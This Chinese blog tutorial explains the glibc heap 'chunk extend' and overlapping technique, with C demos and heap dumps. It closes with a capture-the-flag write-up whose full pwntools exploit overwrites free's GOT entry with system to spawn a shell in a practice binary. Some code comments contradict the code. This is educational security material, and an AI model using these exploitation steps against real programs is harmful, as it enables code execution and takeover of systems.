Chunk Extend原理


条件

1.程序中存在堆的漏洞

2.漏洞可以控制chunk header中的数据

原理

ptmalloc中关于chunk的定义

struct malloc_chunk {
    INTERNAL_SIZE_T prev_size;
    INTERNAL_SIZE_T size;
    struct malloc_chunk* fd; 
    struct malloc_chunk* bk;
    struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
    struct malloc_chunk* bk_nextsize;
};

当一个chunk为空闲时,至少要有prev_size、size、fd和bk四个参数,因此MINSIZE就代表了这四个参数需要占用的内存大小.而当一个chunk被使用时,prev_size可能会被前一个chunk用来存储,fd和bk也会被当作内存存储数据,因此当chunk被使用时,只剩下了size参数需要设置,request2size中的SIZE_SZ就是INTERNAL_SIZE_T类型的大小,因此至少需要req+SIZE_SZ的内存大小。MALLOC_ALIGN_MASK用来对齐,因此request2size就计算出了所需的chunk的大小。

所以ptmalloc通过chunk header的数据判断chunk的使用情况和对chunk的前后块进行定位,chunk extend就是通过控制size和pre_size域来实现跨越堆块操作从而导致overlapping

作用

一般来说,这种技术并不能直接控制程序的执行流程,但是可以控制 chunk 中的内容。如果 chunk 存在字符串指针、函数指针等,就可以利用这些指针来进行信息泄漏和控制执行流程。

此外通过 extend 可以实现 chunk overlapping,通过 overlapping 可以控制 chunk 的 fd/bk 指针从而可以实现 fastbin attack 等利用。

比较常见的利用条件是off-by-one等堆漏洞。假设存在⼀个off-by-one 漏洞,我们目的是构造overlap chunk,则构造过程应该为: 步骤1:申请三个堆块A、B、C,假定它们的size分别为sizeA、sizeB、sizeC,向A中写入数据覆盖到B中的size域,将B的size改为sizeB+sizeC。 步骤2:把B块free掉,此时根据B块的size去找下⼀块chunk的header进行inused bit检查,这里C块是被使用的,所以可以通过检查,通过检查后,free掉的堆块会根据sizeB+sizeC的大小放到bins里面。 步骤3:把C块也free掉,然后malloc(sizeB+sizeC),将刚刚被放到bins里面的chunk分配出来,这个时候C这个chunk还是在bins上面的,通过刚刚分配的chunk就可以控制chunk C的fd指针,从而实现任意地址写。

对 inuse 的 fastbin 进行 extend

#include<stdio.h>
#include<stdlib.h>
int main()
{
    void *ptr,*ptr1;
    ptr=malloc(0x10);//分配第一个0x10的chunk
    malloc(0x10);//分配第二个0x10的chunk
    *(long long *)((long long)ptr-0x8)=0x41;// 修改第一个块的size域
    free(ptr);
    ptr1=malloc(0x30);// 实现 extend,控制了第二个块的内容
    return 0;
}
malloc之后堆内存布局
0x602000:   0x0000000000000000  0x0000000000000021 <=== chunk 1
0x602010:   0x0000000000000000  0x0000000000000000
0x602020:   0x0000000000000000  0x0000000000000021 <=== chunk 2
0x602030:   0x0000000000000000  0x0000000000000000
0x602040:   0x0000000000000000  0x0000000000020fc1 <=== top chunk

修改chunk1之后
0x602000:   0x0000000000000000  0x0000000000000041 <=== 篡改大小
0x602010:   0x0000000000000000  0x0000000000000000
0x602020:   0x0000000000000000  0x0000000000000021
0x602030:   0x0000000000000000  0x0000000000000000
0x602040:   0x0000000000000000  0x0000000000020fc1

当把chunk 1 size改为0x41(0x41 是因为 chunk 的 size 域包含了用户控制的大小和 header 的大小),chunk 2被chunk 1包含进去,,当把chunk1释放时chunk2被一同释放,再申请一个比chunk1大的块就能直接控制chunk2(不要覆盖top chunk),称为 overlapping chunk。

对inuse的smallbin进行extend

处于 fastbin 范围的 chunk 释放后会被置入 fastbin 链表中,而不处于这个范围的 chunk 被释放后会被置于 unsorted bin 链表中。(fastbin 默认的最大的 chunk 可使用范围是 0x70)

#include <stdio.h>
#include <stdlib.h>
int main()
{
    void *ptr,*ptr1;
    ptr=malloc(0x80);//分配第一个 0x80 的chunk1     大小 > fastbin
    malloc(0x10); //分配第二个 0x10 的chunk2
    malloc(0x10); //防止与top chunk合并
    *(int *)((int)ptr-0x8)=0xb1;   // 修改第一个块的size域
    free(ptr);
    ptr1=malloc(0xa0);
}
malloc之后的堆内存布局

0x602000:   0x0000000000000000  0x00000000000000b1 <===chunk1 篡改size域
0x602010:   0x0000000000000000  0x0000000000000000
0x602020:   0x0000000000000000  0x0000000000000000
0x602030:   0x0000000000000000  0x0000000000000000
0x602040:   0x0000000000000000  0x0000000000000000
0x602050:   0x0000000000000000  0x0000000000000000
0x602060:   0x0000000000000000  0x0000000000000000
0x602070:   0x0000000000000000  0x0000000000000000
0x602080:   0x0000000000000000  0x0000000000000000
0x602090:   0x0000000000000000  0x0000000000000021 <=== chunk2
0x6020a0:   0x0000000000000000  0x0000000000000000
0x6020b0:   0x0000000000000000  0x0000000000000021 <=== 防止合并的chunk
0x6020c0:   0x0000000000000000  0x0000000000000000
0x6020d0:   0x0000000000000000  0x0000000000020f31 <=== top chunk

释放后,chunk1 把 chunk2 的内容吞并掉并一起置入unsorted bin

0x602000:   0x0000000000000000  0x00000000000000b1 <=== 被放入unsorted bin
0x602010:   0x00007ffff7dd1b78  0x00007ffff7dd1b78
0x602020:   0x0000000000000000  0x0000000000000000
0x602030:   0x0000000000000000  0x0000000000000000
0x602040:   0x0000000000000000  0x0000000000000000
0x602050:   0x0000000000000000  0x0000000000000000
0x602060:   0x0000000000000000  0x0000000000000000
0x602070:   0x0000000000000000  0x0000000000000000
0x602080:   0x0000000000000000  0x0000000000000000
0x602090:   0x0000000000000000  0x0000000000000021
0x6020a0:   0x0000000000000000  0x0000000000000000
0x6020b0:   0x00000000000000b0  0x0000000000000020 <=== 注意此处标记为空
0x6020c0:   0x0000000000000000  0x0000000000000000
0x6020d0:   0x0000000000000000  0x0000000000020f31 <=== top chunk

由于分配的 size 不处于 fastbin 的范围,因此在释放时如果与 top chunk 相连会导致和 top chunk 合并。所以需要额外分配一个 chunk,把释放的块与 top chunk 隔开。释放后,chunk1 把 chunk2 的内容吞并掉并一起置入 unsorted bin,再次进行分配的时候就会取回 chunk1 和 chunk2 的空间,此时就可以控制 chunk2 中的内容。

对 free 的 smallbin 进行 extend

先释放 chunk1,然后再修改处于 unsorted bin 中的 chunk1 的size域。

#include <stdio.h>
#include <stdlib.h>
int main()
{
    void *ptr,*ptr1;
    ptr=malloc(0x80);//分配第一个0x80的chunk1
    malloc(0x10);//分配第二个0x10的chunk2
    free(ptr);//首先进行释放,使得chunk1进入unsorted bin
    *(int *)((int)ptr-0x8)=0xb1;
    ptr1=malloc(0xa0);
}
malloc之后内存布局
0x602000:   0x0000000000000000  0x0000000000000091 <=== chunk 1
0x602010:   0x0000000000000000  0x0000000000000000
0x602020:   0x0000000000000000  0x0000000000000000
0x602030:   0x0000000000000000  0x0000000000000000
0x602040:   0x0000000000000000  0x0000000000000000
0x602050:   0x0000000000000000  0x0000000000000000
0x602060:   0x0000000000000000  0x0000000000000000
0x602070:   0x0000000000000000  0x0000000000000000
0x602080:   0x0000000000000000  0x0000000000000000
0x602090:   0x0000000000000000  0x0000000000000021 <=== chunk 2
0x6020a0:   0x0000000000000000  0x0000000000000000
0x6020b0:   0x0000000000000000  0x0000000000020f51

释放chunk1使它进入unsorted bin中
0x602000:   0x0000000000000000  0x0000000000000091 <=== 进入unsorted bin
0x602010:   0x00007ffff7dd1b78  0x00007ffff7dd1b78
0x602020:   0x0000000000000000  0x0000000000000000
0x602030:   0x0000000000000000  0x0000000000000000
0x602040:   0x0000000000000000  0x0000000000000000
0x602050:   0x0000000000000000  0x0000000000000000
0x602060:   0x0000000000000000  0x0000000000000000
0x602070:   0x0000000000000000  0x0000000000000000
0x602080:   0x0000000000000000  0x0000000000000000
0x602090:   0x0000000000000090  0x0000000000000020 <=== chunk 2
0x6020a0:   0x0000000000000000  0x0000000000000000
0x6020b0:   0x0000000000000000  0x0000000000020f51 <=== top chunk

篡改chunk1的size域
0x602000:   0x0000000000000000  0x00000000000000b1 <=== size域被篡改
0x602010:   0x00007ffff7dd1b78  0x00007ffff7dd1b78
0x602020:   0x0000000000000000  0x0000000000000000
0x602030:   0x0000000000000000  0x0000000000000000
0x602040:   0x0000000000000000  0x0000000000000000
0x602050:   0x0000000000000000  0x0000000000000000
0x602060:   0x0000000000000000  0x0000000000000000
0x602070:   0x0000000000000000  0x0000000000000000
0x602080:   0x0000000000000000  0x0000000000000000
0x602090:   0x0000000000000090  0x0000000000000020
0x6020a0:   0x0000000000000000  0x0000000000000000
0x6020b0:   0x0000000000000000  0x0000000000020f51

此时再进行 malloc 分配就可以得到 chunk1+chunk2 的堆块,从而控制了 chunk2 的内容。

通过 extend 后向 overlapping

前向 extend 利用了 smallbin 的 unlink 机制,通过修改 pre_size 域可以跨越多个 chunk 进行合并实现 overlapping。

#include <stdio.h>
#include <stdlib.h>
int main()
{
    void *ptr,*ptr1;
    ptr=malloc(0x10);//分配第1个 0x80 的chunk1
    malloc(0x10); //分配第2个 0x10 的chunk2
    malloc(0x10); //分配第3个 0x10 的chunk3
    malloc(0x10); //分配第4个 0x10 的chunk4    
    *(int *)((int)ptr-0x8)=0x61;
    free(ptr);
    ptr1=malloc(0x50);
}

malloc(0x10)申请的都是fastbin。

在 malloc(0x50) 对 extend 区域重新占位后,其中 0x10 的 fastbin 块依然可以正常的分配和释放,此时已经构成 overlapping,通过对 overlapping 的进行操作可以实现 fastbin attack

通过 extend 前向 overlapping

前向 extend 利用了 smallbin 的 unlink 机制,通过修改 pre_size 域可以跨越多个 chunk 进行合并实现

overlapping

#include <stdio.h>
#include <stdlib.h>
int main(void)
{
    void *ptr1,*ptr2,*ptr3,*ptr4;
    ptr1=malloc(128);//smallbin1
    ptr2=malloc(0x10);//fastbin1
    ptr3=malloc(0x10);//fastbin2
    ptr4=malloc(128);//smallbin2
    malloc(0x10);//防止与top合并
    free(ptr1);
    *(int *)((long long)ptr4-0x8)=0x90;//修改pre_inuse域
    *(int *)((long long)ptr4-0x10)=0xd0;//修改pre_size域
    free(ptr4);//unlink进行前向extend
    malloc(0x150);//占位块
}

unlink目的是把一个双向链表中的空闲块拿出来(例如 free 时和目前物理相邻的 free chunk 进行合并)

当我们 free(small_chunk) 时

glibc 判断这个块是 small chunk

判断前向合并,发现前一个 chunk 处于使用状态,不需要前向合并

判断后向合并,发现后一个 chunk 处于空闲状态,需要合并

继而对 Nextchunk 采取 unlink 操作

glibc-2.26及以上这个漏洞不能实现的原因还是因为tcache机制,因为tcache为了速度考虑,所以不进行unlink操作

HITCON Trainging lab13

功能

int menu()
{
  puts("--------------------------------");
  puts("          Heap Creator          ");
  puts("--------------------------------");
  puts(" 1. Create a Heap               ");
  puts(" 2. Edit a Heap                 ");
  puts(" 3. Show a Heap                 ");
  puts(" 4. Delete a Heap               ");
  puts(" 5. Exit                        ");
  puts("--------------------------------");
  return printf("Your choice :");
}

分析

在create()中发现当输入size的时候调用atoi()的时候可以输入8个字符串,所以可以改写atoi_got为system_addr。

show()则是正常的打印内容。

delete()函数知识正常将chunk放入Bins,然后将指针归零,没有uaf漏洞。

漏洞点(edit)

if ( heaparray[v1] )
  {
    printf("Content of heap : ", &buf);
    read_input(*((_QWORD *)heaparray[v1] + 1), *(_QWORD *)heaparray[v1] + 1LL); //off by one
    puts("Done !");
  }

向data中写入len_of_data+1长度的数据,这里存在off by one

利用

利用 off by one 漏洞覆盖下一个 chunk 的 size 字段,然后 申请伪造的 chunk 大小,从而产生 chunk overlap,进而修改关键指针。

思路

create两个chunk,用chunk0溢出到chunk1 的size位,然后free掉chunk1

申请一个新的chunk2,使得chunk2落在chunk1size的部分从而修改指针

改free的got表为system的地址,然后使得chunk0 的内容为/bin/sh,接着free(chunk0)从而getshell

创建两个大小为0x14的堆块,查看

pwndbg> x/20gx 0x603290
0x603290:   0x0000000000000000  0x0000000000000021  ===>chunk1
0x6032a0:   0x0000000000000014  0x00000000006032c0  指向
0x6032b0:   0x0000000000000000  0x0000000000000021  ===>chunk1数据
0x6032c0:   0x6161616161616161  0x6161616161616161  长度0x14
0x6032d0:   0x0000000061616161  0x0000000000000021  ===>chunk2
0x6032e0:   0x0000000000000014  0x0000000000603300
0x6032f0:   0x0000000000000000  0x0000000000000021  ===>chunk2数据
0x603300:   0x6262626262626262  0x6262626262626262  长度0x14
0x603310:   0x0000000062626262  0x0000000000020cf1  ===>top chunk
0x603320:   0x0000000000000000  0x0000000000000000

此时堆中保存的结构是

-----------------------------------------
chunk1 ========> |  prev_size  |  size  |
                 |  len(data)  |  ptr   |
                 |  prev_size  |  size  |
                 |         data         |
-----------------------------------------
chunk2 ========> |  prev_size  |  size  |
                 |  len(data)  |  ptr   |
                 |  prev_size  |  size  |
                 |         data         |
-----------------------------------------

如果我们数据的长度为0x18,调用edit_heap就可触发off-by-one覆盖下一堆块的prev_size

一个chunk在被free掉之后存在bins中,其头部含有prev_size和size,但一旦malloc后,这个prev_size就没用了,它只用来记录前一个空闲块的大小。因此如果malloc0x18个字节的话多出8个字节没有对齐,会将这个prev_size也当做data段的部分分配出去,而不是下一个堆了。

之后利用extend 后向 overlapping+fastbin实现

exp

from pwn import *
p=process('./heapcreator')
elf=ELF('./heapcreator')
lib=ELF('./libc.so.6')
def create(l,value):
    p.recvuntil('Your choice :')
    p.sendline('1')
    p.recvuntil('Size of Heap : ')
    p.sendline(str(int(l)))
    p.recvuntil('Content of heap:')
    p.sendline(value)
    
def edit(index,value):
    p.recvuntil('Your choice :')
    p.sendline('2')
    p.recvuntil('Index :')
    p.sendline(str(index))
    p.recvuntil('Content of heap : ')
    p.sendline(value)
    
def show(index):
    p.recvuntil('Your choice :')
    p.sendline('3')
    p.recvuntil('Index :')
    p.sendline(str(index))
    
def delete(index):
    p.recvuntil('Your choice :')
    p.sendline('4')
    p.recvuntil('Index :')
    p.sendline(str(index))  
    
#leak free addr
create(0x18,'aaaa')#0
create(0x10,'bbbb')#1
create(0x10,'cccc')#2
create(0x10,'/bin/sh')#3
edit(0,'a'*0x18+'\x81')
delete(1)
size = '\x08'.ljust(8,'\x00')
payload = 'd'*0x40+ size + p64(elf.got['free'])
create(0x70,payload)#1
 
show(2)
p.recvuntil('Content : ')
free_addr = u64(p.recvuntil('Done')[:-5].ljust(8,'\x00'))
success('free_addr = '+str(hex(free_addr)))
#trim free_got
system_addr = free_addr + lib.symbols['system']-lib.symbols['free']
success('system_addr = '+str(hex(system_addr)))
edit(2,p64(system_addr))
show(2)
delete(3)
p.interactive()

文章作者: 大茗茗のblog
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 大茗茗のblog !
  目录